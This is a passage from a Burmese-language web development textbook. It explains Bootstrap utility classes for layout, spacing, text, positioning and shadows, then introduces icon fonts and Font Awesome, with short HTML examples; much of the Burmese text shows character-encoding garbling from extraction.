Size Class နဲ့ တွဲသုံးနိုင်တဲ့အတွက် အသုံးဝင်တာပါ။ ဒီလုိပါ –

 HTML 

<div class="bg-warning p-4 clearfix">
  <h1 class="float-md-start">Some Title</h1>
  <h2 class="float-md-end">Some sub-title</h2>
</div>

နမူနာအရ ပုံမှန်ဆိုရင်  <h1> နဲ့  <h2> ကို  အကြေပါ်ကြေအာက်ဆင့်ပြပီး  gပမှာgoစ်ကြေပမယ့်၊  Medium Size  ကို
ကြေရာက်လာတဲ့အခါ <h1> ကို yယ်yက်ကပ်gပမှာgoစ်ပါတယ်။ <h2> ကိုကြေတာ့ ညာyက်ကပ်gပမှာပါ။ ဒီ
လုိ Float ကိုသုံးပြပီး yယ်ညာ ကပ်တဲ့အခါ ပင်မ Element မှာ clearfix လုိ့ကြေခါ်တဲ့ လုပ်ကြေဆာင်ချက် ပါ
oုိလုိ့တာကို သတိgပုပါ။ ဒါကိုgပည့်စံုကြေအာင် ရှင်းရရင် ကြေတာ်ကြေတာ်ရှည်ပါလိမ့်မယ်။ ဒါကြေeကာင့် တုိတိုနဲ့ လုိရင်း
ကြေလးပဲ ကြေgပာချင်ပါတယ်။ float Class ကြေတွနဲ့ Element ကြေတွကို yယ်ညာကပ်လုိရ့တယ်။ ဒီလုိ ကပ်လုိက်
လုိ့ ပင်မ Element ရဲ့ ကြေoာ်gပပုံမမှန်ကြေတာ့ရင် clearfix ထည့်ကြေပးရတယ်လုိသ့ာ မှတ်ထားပါ။

Width & Height
Width  ကြေတွ  Height  ကြေတွနဲပ့က်သက်တဲ့  Class  ကြေတွကကြေတာ့  Percentage  ကိုပဲအကြေgခခံပြပီး အလုပ်လုပ်လုိ့
သိပ်မgပည့်စံုyူး။ ကိုယ့်yာသာ နည်းနည်းကြေတာ့ ထပ်ကြေရးကြေပးရတယ်။ ဒီနမူနာကို eကည့်ပါ – 

 HTML 

<div style="height: 300px" class="bg-dark p-2">
  <div class="h-50 w-50 bg-light"></div>
</div>
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h-50 ဆိုတာ height: 50% ကိုကြေgပာတာပါ။ အလုပ်လုပ်ပါတယ်။ w-50 ဆိုတာ width: 50% ကို
ကြေgပာတာပါ။ အလုပ်လုပ်ပါတယ်။ ဒါကြေပမယ့် အ့ဲဒီလုိ အလုပ်လုပ်oုိအ့တွက် ပင်မ Element မှာ  height:
300px ကို  ကိုယ့်yာသာကြေပးထားရပါတယ်။ အ့ဲဒီ  height ကို  အကြေgခခံပြပီး  အထဲက  Element  ကြေတွက
အလုပ်လုပ်တာမုိလုိ့့ မပါရင် အဆင်မကြေgပပါyူး။

ပြပီးတဲ့အခါ 25%, 50%, 75%, 100% ဆိုပြပီး ကြေလးမျ ို းပဲ ရှိပါတယ်။ ဒါကြေeကာင့် h-25, h-50, h-75
နဲ့  h-100 တိုက့ိုပဲ သံုးလုိရ့မှာပါ။ တgခားတန်oုိးကြေတွ မရှိပါyူး။  w- လည်းအတူတူပါပဲ။  h-auto နဲ့  w-
auto ကြေတာ့ ရှိပါတယ်။ အ့ဲဒါက ကြေပးထားတဲ့  Width ကြေတွHeight ကြေတွကို လုိအပ်လုိ့ gပန်goုတ်ချင်တဲ့ အခါ
မျ ို းမှာ အသုံးဝင်နိုင်ပါတယ်။

Margin & Padding
Margin  ကြေတွ  Padding  ကြေတွနဲပ့က်သက်တဲ့  Utility Classes  ကြေတွကိုကြေတာ့ ကြေရှ့နမူနာကြေတွမှာလည်း ကြေတွ့ခဲ့
eကပြပီးသားပါ။  1,  2,  3,  4,  5  ဆိုပြပီး  Size  က  (၅)  မျ ို းရှိပါတယ်။  Margin  အတွက်  m- နဲစ့ပြပီး
Padding အတွက် p- နဲစ့ပါတယ်။ Top, Right, Bottom, Left တစy်က်စီလည်းကြေပးလုိရ့ပါတယ်။

• mt-{size} (Margin Top)
• me-{size} (Margin End or Right)
• mb-{size} (Margin Bottom)
• ms-{size} (Margin Start or Left)
• my–{size} (Margin Top/Bottom)
• mx-{size} (Margin Left/Right) 

Padding  အတွက်လည်း  အတူတူပါပဲ။  m- အစား  p- နဲစ့တာပဲ  ကွာသွားမှာပါ။  Size  အတွက်  auto
လည်းရှိပါကြေသးတယ်။  margin: auto လုပ်ကြေဆာင်ချက်မျ ို းကို  လုိချင်ရင် သံုးနိုင်ပါတယ်။  0  လည်းရှိပါ
ကြေသးတယ် m-0 p-0 ဆိုရင် Margin ကြေတွ Padding ကြေတွ အကုနg်oုတ်ကြေပးလုိက်မှာပါ။
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Text
Text  နဲ့  ပက်သက်တဲ့  Class  ကြေတွကကြေတာ့  Alignment  တို့  Formatting  တိုအ့တွက် အစံုရှိပါတယ်။  Left,
Right,  Center,  Justify  စတဲ့  Alignment  လုပ်ငန်းကြေတွအတွက်  text-start,  text-end,
text-center, text-justify စသgoင့် ကုန်သုံးလုိရ့ပါတယ်။ ဥပမာ –

 HTML 

<h1 class="text-center">Centered Title</h1>

နမူနာအစာ ကြေခါင်းစီးအတွက်စာကိုအလယ်မှာ Align လုပ်ပြပီး gပကြေပးမှာပါ။ Responsive Class ကြေတွနဲ့ တွဲပြပီး
သုံးနိုင်တဲ့အတွက် ပုိပြပီးကြေတာ့ အသုံးဝင်နိုင်ပါကြေသးတယ်။ ဒီလုိပါ –

 HTML 

<h1 class="text-center text-md-start">Centered Title</h1>

နမူနာအရ Default အကြေနနဲ့ Center Align ထားပြပီးgပကြေပမယ့် Medium Screen Size goစ်သွားပြပီးဆိုရင် Left
Align နဲ့ကြေgပာင်းပြပီး gပကြေပးသွားမှာgoစ်ပါတယ်။ Bold, Italic, Underline, Strike-through စတဲ့ Formatting
လုပ်ငန်းကြေတွအတွက် ဒီလုိ Class ကြေတွရှိပါတယ်။

• fw-bold
• fw-bolder
• fw-normal
• fw-light
• fw-lighter
• fst-italic
• fst-normal
• text-decoration-underline
• text-decoration-line-through
• text-decoration-none

ဒါကြေတွကိုကြေတာ့ တစ်ခုချင်းရှင်းgပoုိ့ မလုိအပ်yူးလုိထ့င်ပါတယ်။ Class အမည်မှာ သူ့အဓိပ္ပါယ်နဲသူ့ ကြေပါ်လွင်
ပြပီးgoစ်ကြေနလုိ့ပါ။  
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စာကြေeကာင်းကြေတွရဲ့အကြေပါ်ကြေအာက် အစိတ်အကြကဲ Line Height နဲ့ပက်သက်ပြပီး (၃) မျ ို းမှတ်သင့်ပါတယ်။

• lh-sm
• lh-base
• lh-lg

lh-base က မူလပမာဏအတိုင်းgoစ်ပြပီး  lh-sm ဆိုရင်  Line  Height  ကျဉ်းသွားလုိ့  စာကြေeကာင်းကြေတွ
နည်းနည်းပုိကပ်သွားမှာပါ။ lh-lg ဆိုရင်ကြေတာ့ Line Height ကျယ်သွားလုိ့ စာကြေeကာင်းကြေတွတစ်ခုနဲတ့စ်ခု
ပုိပြပီး  ကျဲသွားမှာပဲgoစ်ပါတယ်။ လုိရမယ်ရထည့်ကြေပးထားတာပါ။  Bootstrap  ကကြေပးထားတဲ့  Line Height
က  အများအားgoင့်  အဆင်ကြေgပပါတယ်။  gမန်မာစာလုိ  စာမျ ို းကြေတွကြေတာ့  သုံးထားတဲ့  oွန့်ကြေပါ်မူတည်ပြပီး
ရံoန်ရံခါ  Line Height  ကြေလးချဲကြေပးထားမှ oတ်ရတာအဆင်ကြေgပတာမျ ို း  goစ်တတ်ပါတယ်။ အ့ဲဒီလုိ လုိအပ်
လာရင် lh-lg Class ကို သုံးနိုင်ပါတယ်။

Position
Absolute,  Relative,  Fixed  စတဲ့  Position  နဲ့ပက်သက်တဲ့  Class  ကြေတွလည်းရှိပါတယ်။  position-
absolute, position-fixed, position-relative ဆိုတဲ့  (၃)  မျ ို းကို  မှတ်ထားသင့်ပါ
တယ်။  Position  ကြေတွရဲ့  သကြေyာသyာဝကို  CSS  အခန်းမှာ  ကြေgပာခဲ့ပြပီးသားပါ။  Position  ကြေပးထားပြပီး
ကြေနာက် Element ရဲ့ ကြေoာ်gပပုံတည်ကြေနရာ သတ်မှတ်oုိအ့တွက် left, right, bottom, top စတဲ့
Property ကြေတွနဲ့ CSS မှာ တွဲသုံးရသလုိပဲ Bootstrap မှာ တဲွသုံးကြေပးရမှာပါ။ Bootstrap မှာကြေတာ့ start,
end, bottom, top goစ်သွားပါတယ်။ ဥပမာ –

 HTML 

<div class="position-relative bg-dark" style="height: 200px">
  <div class="position-absolute
              bg-light top-50 start-50
              w-25 h-25"></div>
</div>

နမူနာအရ  ပင်မ  Element  မှာ  position-relative လုိသ့တ်မှတ်ကြေပးထားပြပီး  အတွင်းထဲက
Element မှာ position-absolute လုိသ့တ်မှတ်ထားပါတယ်။ top-50 ဆိုတာ top: 50% ဆိုတဲ့
သကြေyာမျ ို းပါ။  start-50 ကကြေတာ့  left:  50% ဆိုတဲ့သကြေyာမျ ို းပါ။  ဒါကြေeကာင့်  အတွင်းထဲက
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Element က အလယ်မှာ ကြေရာက်ကြေနရမှာပါ။ အလယ်တည့်တည့်ကြေတာ့ ကြေရာက်မှာ မဟုတ်ပါyူး။ အလယ်တ
ည့်တည့်ကြေရာက်ချင်ရင် start က 50% goစ်လုိမ့ရပါyူး။ start က (50% - Element Width / 2) goစ်ရ
မှာပါ။  top လည်းအတူတူပါပဲ။  ဒီgပဿနာက  Position  မှာ  ကြေတွ့ရကြေနeက  gပဿနာgoစ်ပါတယ်။  ဒါကို
Bootstrap က translate-middle ဆိုတဲ့ Class နဲ့ကြေgoရှင်းကြေပးထားပါတယ်။ ဒီလုိကြေရးရမှာပါ။

 HTML 

<div class="position-relative bg-dark" style="height: 200px">
  <div class="position-absolute 
              bg-light top-50 start-50
              w-25 h-25
              translate-middle"></div>
</div>

ဒီကြေတာ့မှ  တစ်ကယ့်အလယ်တည့်တည့်ကို  ကြေရာက်မှာgoစ်ပါတယ်။  yာကိုကြေgပာတာလဲ  သိပ်မရှင်းရင်
လက်ကြေတွ့ချကြေရးပြပီး နှစ်ခုနိှုင်းယှဉ် စမ်းသပ်eကည့်သင့်ပါတယ်။ ဒီလုိပါ –

top-50,  start-50 ကြေပးထားတာချင်းအတူတူ  ပထမတစ်ခုက  အလယ်တည့်တည့်မကြေရာက်yဲ၊
ကြေနာက်တစ်ခုက အလယ်တည့်တည့် ကြေရာက်တယ်ဆိုတာကို ကြေတွ့ ရမှာgoစ်ပါတယ်။ ဒါကြေတာ်ကြေတာ် အသုံးဝင်
တဲ့ လုပ်ကြေဆာင်ချက်တစ်ခုပါ။ ပုိပြပီးစိတ်ဝင်စားoုိက့ြေကာင်းတာကြေလး စမ်းeကည့်ချင်ရင် ဒီကုဒ်ကို စမ်းeကည့်နိုင်
ပါတယ်။
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 HTML 

<button class="btn btn-primary position-relative">
  Goto User List
  <span class="badge 
               bg-danger 
               position-absolute 
               top-0 
               start-100
               translate-middle
               rounded-pill">20</span>
</button>

bth ထဲမှာ badge တစ်ခုရှိပြပီး position-absolute နဲ့  translate-middle ကိုတွဲသုံးထားလုိ့
Notification စနစ်ကြေတွမှာ ကြေတွ့ကြေနeကပုံစံအတိုင်း နိုတီအကြေရအတွက်က Button ရဲ့ ထိပ်oျားမှာ ချတိ်ကြေနတဲ့
ပုံစံကို ရရှိမှာgoစ်ပါတယ်။ 

ကြေပးထားတဲ့ နမူနာမှာ (၃)  မျ ို းကြေရးgပထားပါတယ်။ ပထမတစ်ခုက ရုိးရုိးပါပဲ။  btn ထဲမှာ  badge တစ်ခုရှိ
ကြေနပါတယ်။ ဒုတိယတစ်ခုမှာကြေတာ့ badge မှာ position-absolute goစ်သွားပြပီး start-100 လုိ့
ကြေgပာလုိက်တဲ့  အတွက်  ကြေကျာ်ထွက်  သွားတာကို  ကြေတွ့ ရနိုင်  ပါတယ်။  တတိယတစ်ခု  ကျကြေတာ့မှ
translate-middle  ပါသွားလုိ့ ထိပ်oျားကြေလးမှာ ချတိ်ကြေနတဲ့ပုံစံကြေလး ရသွားတာကို ကြေတွ့ ရမှာပါ။
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Shadow
Element  ကြေတွအတွက် အရိပ်ကျကြေနတဲ့ပုံစံ  Drop Shadow  ကြေတွထည့်ချင်ရင် ထည့်လုိရ့ကြေအာင်လည်း ကြေပး
ထားပါကြေသးတယ်။  သူလည်းအသံုးဝင်ပါတယ်။  သံုးရတာလည်း  လွယ်ပါတယ်။  shadow Class  ကို  သုံး
ကြေပးလုိက်ယုံပါပဲ။ shadow-sm နဲ ့shadow-lg ဆိုပြပီး မူကွဲ (၂) မျ ို းရှိပါတယ်။

 HTML 

<div class="border p-4 mb-4 bg-light shadow-sm">
  Some Content
</div>

<div class="border p-4 mb-4 bg-light shadow">
  Some Content
</div>

<div class="border p-4 mb-4 bg-light shadow-lg">
  Some Content
</div>

shadow-sm က အရိပ်ကို  ပါးပါးကြေလး  မသိမသာထည့်ကြေပးလုိက်မှာ။  shadow-lg ကကြေတာ့ အရိပ်ကို
ကြေတာ်ကြေတာ်ကြကီးကြကီး ထည့်ကြေပးမှာပါ။ ဒီလုိပါ –
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ဒီကြေလာက်ဆိုရင်  ကြေတာ်ကြေတာ်ကြေလးစံုသွားပါပြပီ။  ကြေနာက်ထပ်အခန်းတစ်ခန်းနဲ့  နမူနာအကြေနနဲ့  အကြေတွ့ရများတဲ့
Admin Dashboard UI  ကြေလးတစ်ခုကို  Bootstrap  နဲ့လုပ်eကည့်eကဦးမှာပါ။ အ့ဲဒီအခါမှာ ဒီ  Utility Class
ကြေတွကို လက်ကြေတွ့အသုံးချပုံ နမူနာကြေတွ ထပ်ပါလာပါလိမ့်မယ်။

Admin Dashboard  နမူနာလုပ်မeကည့်ခင်  Icon  ကြေတွအကြေeကာင်း ကြေgပာoုိ့ ကျန်ကြေနကြေသးလုိ့ ကြေနာက်တစ်ခန်း
မှာ Icon ကြေတွအကြေeကာင်း ဆက်eကည့်eကပါမယ်။
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အခန်း (၈) – Icons

Icons  ကြေတွဟာလည်း  UI  ကြေတွoန်တီးတည်ကြေဆာက်oုိ့အတွက် အကြေရးကြကီးပါတယ်။ နှုတ်တစ်ရာ စာတစ်လံုး
လုိ့ ကြေgပာeကသလုိ၊ A picture is worth a thousand words လုိလ့ည်းကြေgပာeကပါတယ်။ ပံုကြေလးတစ်ပံု၊ Icon
ကြေလးတစ်ခုနဲ့ ရှုပ်ကြေနတာကြေတွကို ရှင်းသွားကြေစနိုင်ပါတယ်။ ကြေရာကြေနတာကြေတွကို ကွဲgပားသွားကြေစနိုင်ပါတယ်။

Bootstrap 3  တံုးက  Framework  နဲအ့တူ  Icons  ကြေတွ တစ်ခါထဲ ပါခဲ့oူးပါတယ်။  Bootstrap 4  မှာကြေတာ့
Icons ကြေတွ ထည့်မကြေပးကြေတာ့လုိ့ Third-party Icons ကြေတွနဲ့ တွဲသံုးeကပါတယ်။ လူသံုးအများဆုံးလုိ့ ကြေgပာလုိ့
ရတဲ့ Icons နည်းပညာ တစ်ခုကကြေတာ့ Font Awesome ပဲ goစ်ပါတယ်။ အခု Bootstrap 5 မထွက်ခင်ကြေလး
မှာ  Bootstrap Icons  ဆိုပြပီးကြေတာ့ goည့်စွက်နည်းပညာအသစ်တစ်ခုကို  Bootstrap Framework  တီထွင်
သူများကပဲ oန်တီးကြေပးလာတာကိုလည်း ကြေတွ့ရပါတယ်။

ဟိုးအရင်တံုးက Icon ဆိုရင် ICO တို့  GIF တို့  PNG တိုလုိ့့ ပံု  Format ကြေတွအကြေနနဲ့ အသုံးများခဲ့eကပါတယ်။
ဒီပုံ Format ကြေတွက အရွယ်အစားအားgoင့် ကြေသးငယ်ပြပီး Background Transparency လုိလုပ်ကြေဆာင်ချက်
မျ ို းကြေတွ ပါဝင်တဲ့အတွက်  Icon  နဲ့ သင့်ကြေတာ်ပါတယ်။ ဒါကြေပမယ့် ဒီလုိ ပံု  Format  ကို  Icon  အတွက်သုံးတဲ့
အတွက် ကြကံုကြေတွ့ရတဲ့ gပဿနာကြေတွ ရှိပါတယ်။ အ့ဲဒီထဲက တစ်ခုကကြေတာ့၊ Icon ကြေတွဆိတုာ အများကြကီး သုံး
ရတာပါ။ ဝy်ဆိုက်တစ်ခုမှာ  Icon  ကြေပါင်း ဆယ်ခု၊ အခုနှစ်ဆယ်ကကြေန အခုငါးဆယ်၊ အခုတစ်ရာထိလည်း
ပါနိုင်ပါတယ်။ ဒီကြေလာက်  oုိင်အကြေရအတွက်များတဲ့အခါ  ဝy်ဆိုက်ကို  ကြေနှးကြေစပါတယ်။ ဝy်ဆိုကတ်စ်ခုက
Icon  oုိင်အခု  (၅၀)  သုံးထားရင်  Web  Browser  က အကြကိမ်  (၅၀)  ဆာဗာကိုဆက်သွယ်မှု  gပုလုပ်ရတဲ့
အတွက်ကြေeကာင့်ပါ။ ဒါကြေeကာင့် oုိင်ကြေတွရဲ့အရွယ်အစားကြေလးကြေတွက ကြေသးကြေသးကြေလးကြေတွကြေပမယ့် ဆက်သွယ်ရ
တဲ့ အကြကိမ်ကြေရများလုိ့ ကြေနှးသွားကြေစတဲ့ သကြေyာမျ ို း goစ်ပါတယ်။ ဒီgပဿနာကို CSS Sprite လုိ နည်းစနစ်မျ ို း
ကြေတွနဲ့ ကြေgoရှင်းခဲ့eကရပါတယ်။ အခုသိပ်မသံုးeကကြေတာ့လုိ့ ဒီအကြေeကာင်းကို အကျယ်ချဲ့ပြပီး ထည့်မရှင်းကြေတာ့ပါ
yူး။ စိတ်ဝင်စားရင် ကြေနာက်မှာ ရှာကြေoွကြေလ့လာeကည့်ပါ။



PWD 2023 – အခန်း (၈) – Icons 164

ကြေနာက်ကြေတာ့ CSS မှာ @font-face လုပ်ကြေဆာင်ချက် ပါဝင်လာgခင်းနဲအ့တူ Icon Fonts ကြေတွကို အသုံး
များလာeကပါတယ်။ Icon Fonts ဆိုတာ A, B, C D တို့ က, ခ, င်္ဂ, ဃ တိုလုိ့ စာလံုးကြေတွကိုကြေရးဆွဲထည့်သွင်း
ရတဲ့ oွန့်oုိင်ထဲမှာ စာလံုးကြေတွအစား ရုပ်ပံုကြေတွကို ကြေရးဆွဲထည့်သွင်းထားgခင်း goစ်တယ် လုိ့ အလွယ်ကြေgပာနိုင်
ပါတယ်။ ဒီကြေတာ့ Icon Fonts ကိုသုံးပြပီးစာကြေရးရင် စာလံုးပံုကြေတွမကြေပါ်yဲ ရုပ်ပံုကြေတွ ကြေပါ်တယ်ဆိုတဲ့ သကြေyာ
မျ ို းပါ။  ဒီ  Icon Fonts  နည်းစနစ်မှာ အားသာချက်ကြေတွရှိပါတယ်။ ပထမဆံုးအားသာချက်ကကြေတာ့ oွန့်oုိင်
တစ်ခုမှာစာလံုးကြေတွ  အများကြကီး  ပါလုိရ့သလုိပဲ  ပံုကြေတွလည်းအများကြကီး  ကြေရးဆွဲထည့်သွင်းထားလုိရ့တဲ့
အတွက် oုိင်တစ်ခုထဲနဲ့ လုိချင်တဲ့ Icon ကြေတွကို စုစည်းရရှိပြပီး goစ်ကြေစပါတယ်။ ဒါကြေeကာင့် ရုိးရုိး ပံု Icon ကြေတွ
မှာ အကြေရအတွက်များလုိ့ ကြေနှးသွားတယ်ဆိုတဲ့ gပဿနာကို Icon Fonts မှာ ကြေတွ့ ရမှာ မဟုတ်ပါyူး။

Icon Fonts ရဲ့ ဒုတိယအားသာချက်ကကြေတာ့ ပံုအရည်အကြေသွးကို ကြေgပာင်းလဲကြေစgခင်းမရှိyဲ အရွယ်အစားကို
လုိသလုိ ချံု့လုိခ့ျဲ့လုိရ့gခင်း goစ်ပါတယ်။ ရုိးရုိး GIF, PNG ပုံကြေတွက ချဲ့လုိက်ရင် ဝါးသွားတာတို၊့ ချံု့လုိက်ရင်
eကည့်မကြေကာင်းကြေတာ့တာတို့ goစ်ကြေစနိုင်ပါတယ်။ Bitmap Graphic ကြေတွမုိလုိ့ပ့ါ။  A, B, C, D   စာလုံးကြေတွမှာ  
ချဲ့လုိက်လုိ့ ဝါးသွားတာမျ ို း မရှိသလုိပါပဲ၊   Icon Font  s     ထဲက   Icon   ပုံကြေတွကိုလည်း လုိသလုိ အချံု့အချဲ့လုပ်  
လုိရ့နိုင်ပါတယ်။ Vector Graphic ကြေတွမုိ့လုိပ့ါ။ ပြပီးကြေတာ့ ပံုဆိုတာ ဆွဲထားရင် ဆွဲထားတဲ့အတိုင်းပဲ ရမှာပါ။
အနကီြေရာင် ဆွဲထားရင် အနီကြေရာင်ပဲ ရမှာပါ။ အgပာကြေရာင် ကြေgပာင်းချင်ရင် ကြေနာက်တစ်ပံု ထပ်ဆွဲပြပီး ထည့်မှပဲရ
ပါမယ်။ A, B, C, D   စာလုံးကြေတွကို အကြေရာင်လုိသလုိ ကြေgပာင်းပြပီး gပလုိရ့သလုိပဲ   Icon Font   ထဲက   Icon   ပုံကြေတွ  
ကိုလည်း  လုိသလုိ  အကြေရာင်အမျ ို းမျ ို း  ကြေgပာင်းပြပီး  gပလုိရ့နိုင်ပါတယ်။  ဒီလုိအားသာချက်ကြေတွကြေeကာင့်ပဲ
ကြေနာက်ပုိင်းမှာ Icons အတွက် ရုိးရုိးပုံကို မသုံးeကကြေတာ့သကြေလာက်ပါပဲ။

ဒီလုိအားသာချက်ကြေတွနဲအ့တူ  အားနည်းချက်တစ်ခုလဲ  တွဲပြပီးကြေတာ့ပါလာပါတယ်။  Icon  Font  တစ်ခုမှာ
Icon ကြေပါင်းများစွာထည့်သွင်းလုိရ့တဲ့အတွက် တစ်ချ ို ့ Icon Fonts ကြေတွမှာ ပုံကြေပါင်း (၅) ကြေထာင် (၆) ကြေထာင်
ကြေလာက်ထိ ပါနိုင်ပါတယ်။ ဒါကြေeကာင့် Icon ကြေလးတစ်ချ ို ့ကို သံုးချင်လုိ ့Icon Font တစ်ခုကို ချတိ်ဆက်လုိက်
တာနဲ ့မလုိအပ်yဲ ရှိသမျှ Icon ကြေတွ အကုန်ထည့်သွင်းလုိက်ရသလုိ goစ်ကြေစပါတယ်။

ကြေနာက်ထပ် ထပ်ကြေပါ်လာတာကကြေတာ့ SVG Icons goစ်ပါတယ်။ SVG ဆိုတာ Scalable Vector Graphic ရဲ့
အတိုကြေကာက်goစ်ပြပီးကြေတာ့  HTML  နည်းပညာရဲ့  အစိတ်အပုိင်းတစ်ခု  goစ်ပါတယ်။  XML    ကြေရးထုံးကိုသုံးပြပီး  
ကြေတာ့   HTML Document   အတွင်းထဲမှာ    Vector Graphic    ကြေတွကို ကြေရးဆွဲ ထည့်သွင်းကြေစနိုင်တဲ့ နည်းပညာ  
goစ်ပါတယ်။ အ့ဲဒီ  SVG နည်းပညာကိုသုံးပြပီး  Icon ကြေတွ တီထွင်လာeကတဲ့အခါ ကြေစာကြေစာက Icon Font မှာ
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လုိ ရှိသမျှအကုန်ထည့်ရတဲ့ gပဿနာမျ ို း မရှိကြေတာ့yဲ ကိုယ်လုိချင်တဲ့ Icon ကို HTML ထဲမှာ လုိသကြေလာက်
ပဲ ကြေရွးထည့်လုိ့  ရလာပါတယ်။ ပြပီးကြေတာ့ ရုိးရုိး  GIF, PNG  ပုံကြေတွလုိ အခု  (၅၀)  သုံးထားလုိ့  အကြကိမ်  (၅၀)
ဆက်သွယ်ရတယ်ဆိုတာမျ ို းလည်း မgoစ်ပါyူး။ သူက ပုံကို HTML နဲ ့ချတိ်ထားတာ မဟုတ်y၊ဲ ပုံကို   HTML  
အထဲမှာ  တစ်ခါထဲ  ကြေရာကြေရးထားတဲ့သကြေyာမျ ို း  goစ်သွားလုိပ့ါ။  ဒါကြေeကာင့်  SVG  Icon  ကြေတွကို
တစ်goည်းgoည်း ပုိသုံးလာeကပါတယ်။

Font Awesome က Icon Font နည်းပညာgoစ်ပါတယ်။ SVG Icons  အကြေနနဲလ့ည်း သံုးလုိရ့ပါတယ်။ နှစ်
မျ ို းကြေပးထားတဲ့သကြေyာပါ။  Free  နဲ့  Pro  ဆိုပြပီး  Version  နှစ်ခုလာရာမှာ အခုလက်ရှိထွက်ရှိထားတဲ့  Font
Awesome 5 Pro Version မှာ Icon ကြေပါင်း (၇၀၀၀) ကြေကျာ်ပါဝင်ပါတယ်။ Pro Version က လုိင်စင်ဝယ်ပြပီး
သုံးရပါတယ်။  Free Version ကကြေတာ့ အခမ့ဲရပြပီး  Icon  ကြေပါင်း  (၁၀၀၀)  ကြေကျာ်ပါဝင်ပါတယ်။  Icon  ကြေပါင်း
(၁၀၀၀)  ကြေကျာ်ဆိုတာတင် ကြေတာ်ကြေတာ် စံုကြေနပြပီမုိလုိ့့  Free Version နဲတ့င် ပကြေရာင်္ဂျက် ကြေတာ်ကြေတာ်များများ
အတွက်  အဆင်ကြေgပကြေစနိုင်ကြေလာက်ပါတယ်။  ဒီစာကြေရးကြေနချနိ်မှာ  Font  Awesome  6  ထွက်ကြေတာ့မယ်လုိ့
လည်း ကြေeကညာထားပါတယ်။  အသစ်ထွက်တာမeကာကြေသးတဲ့  Bootstrap Icons  ကြေတွကကြေတာ့  SVG Icon
ကြေတွgoစ်eကပါတယ်။  အခမ့ဲရပြပီး သူ့မှာလည်း Icon ကြေပါင်း (၁၀၀၀) ကြေကျာ်ပါဝင်ပါတယ်။

Font Awesome
Font Awesome  ကို  စတင်အသံုးgပုနိုင်oုိ့အတွက် လုိအပ်တဲ့oုိင်ကြေတွကို  Download  ရယူလုိ့  ရသလုိ  CDN
ကကြေန တစ်ဆင့်လည်း အသံုးgပုနိုင်ပါတယ်။ ဒီကြေနရာမှာကြေတာ့ CDN ကကြေနချတိ်ပြပီးကြေတာ့ပဲ နမူနာ ကြေပးသွားပါ
မယ်။ Code Pen Setting ရဲ့ CSS Section မှာ ဒီ Font Awesome CDN လိပ်စာကို ထည့်ကြေပးလုိက်ပါ။

https://use.fontawesome.com/releases/v5.15.1/css/all.css

ကြေပးထားတဲ့ CDN က Version ကို သတိgပုပါ။ လက်ရှိဒီစာကြေရးကြေနချနိ် ထွက်ရှိထားတာက v6.3.0 ပါ။ ဒါကြေပ
မယ့် Font Awesome က ကြေနာက်ပုိင်း  Version ကြေတွမှာ  CDN လိပ်စာ မကြေပးကြေတာ့ပါyူး။ ဒါကြေeကာင့် အရင်
Version  goစ်တဲ့  v5.15.1  နဲ့ပဲ  ဆက်လက်ကြေလ့လာသွားeကမှာပါ။  Version  သစ်အတွက်  CDN  လိပ်စာကို
လုိချင်ရင် Font Awesome ဝy်ဆိုက်မှာ Register လုပ်ထားoုိ ့လုိအပ်ပါလိမ့်မယ်။ 

- https://fontawesome.com

https://fontawesome.com/
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ကြေလာကြေလာဆယ်  v5.15.1  နဲ့ပဲ  စမ်းeကည့်ပြပီး  သကြေyာသyာဝ  သိသွားပြပီးဆိုရင်  ကြေနာက်မှ  ကိုယ့်yာသာ
Latest Version ကို ဆက်ကြေလ့လာသွားမယ်ဆိုရင်လည်း သိပ်မခက်ကြေတာ့ပါyူး။

Font  Awesome  မှာ  မူကွဲအုပ်စု  (၅)  စုရှိပါတယ်။  အကြေပါ်က ကင်မရာပံုကြေလးကြေတွကို  နိှုင်းယှဉ်  eကည့်ပါ။
ကြေရှ့ဆံုးပုံက Solid ဆိုတဲ့ အုပ်စုထဲမှာ ပါပါတယ်။ အကြေရာင်အgပည့် goည့်ပြပီး ပံုကို ဆွဲထားပါတယ်။ ဒုတိယပံု
က Regular အုပ်စုပါ။ လုိင်းကြေလးကြေတွနဲ့ ဆွဲထားပါတယ်။ တတိယပံုကကြေတာ့ Light အုပ်စုgoစ်ပါတယ်။ လုိင်း
ပါးပါးကြေလးနဲ့ ဆွဲထားတာပါ။ ကြေနာက်ဆံုးပုံကိုကြေတာ့ Duo-Tone လုိ့ကြေခါ်ပါတယ်။ နှစ်ကြေရာင်စပ်ပြပီး ဆွဲထားတာ
ပါ။ Free Version မှာ Solid Icons ကြေတွနဲ့ Regular Icons တစ်ချ ို ့ကို အသံုးgပုခွင့် ကြေပးထားပါတယ်။ Light
နဲ့  Duo-Tone Icons ကြေတွကကြေတာ့ Pro Version ကျကြေတာ့မှ သုံးလုိရ့မှာပါ။ နမူနာပံုထဲမှာ မပါတဲ့ အုပ်စုကို
ကြေတာ့  Brand  လုိ့ကြေခါ်ပါတယ်။  Google  တို့  Facebook  တို့  YouTube  တို့  Twitter  တိုလုိ့  Brand  ကြေတရွဲ့
Icons  ကြေတွပါ။  Brand Icons  ကြေတွကိုလည်း  Free  Version  မှာ  ထည့်ကြေပးထားပါတယ်။  ဒါကြေeကာင့်  Free
Version  မှာ  Icons  အုပ်စု  (၃)  ခုပါတယ်လုိ့  မှတ်နိုင်ပါတယ်။  Solid, Regular  နဲ့  Brand  တို့goစ်ပါတယ်။
အသုံးgပုoုိအ့တွက် အခုလုိကြေရးသားအသုံးgပုနိုင်ပါတယ်။

 HTML 

<i class="fas fa-camera"></i>
<i class="far fa-user"></i>
<i class="fab fa-github"></i>

ဒီနမူနာကို  Code Pen  ထဲမှာ လက်ကြေတွ့ကြေရးစမ်းeကည့်လုိရ့ပါတယ်။  CDN  ကြေတာ့ ကြကိုပြပီးမှနက်ြေအာင် ထည့်
ထားကြေပးoုိ့ မကြေမ့ပါနဲ။့ သင့်ကြေတာ်တဲ့ Icon ပုံကြေလးကြေတွ ကြေပါ်လာတာကို ကြေတွ့ရပါလိမ့်မယ်။

Solid Icons ကြေတွကိုအသုံးgပုလုိရင် fas Class ကိုသုံးရပြပီး Regular Icons ကြေတွကို သံုးချင်ရင်ကြေတာ့ far
Class  ကိုသုံးရပါတယ်။  Brand Icons  ကြေတွကို  သုံးချင်ရင်ကြေတာ့  fab Class  ကိုသုံးရပါတယ်။ ပြပီးတဲ့အခါ
ကြေနာက်ကကြေန အသုံးgပုလုိတဲ့ပုံရoုိ့ fa-{icon-name} Class လုိက်ရပါတယ်။ Icon Name ကြေတွကကြေတာ့
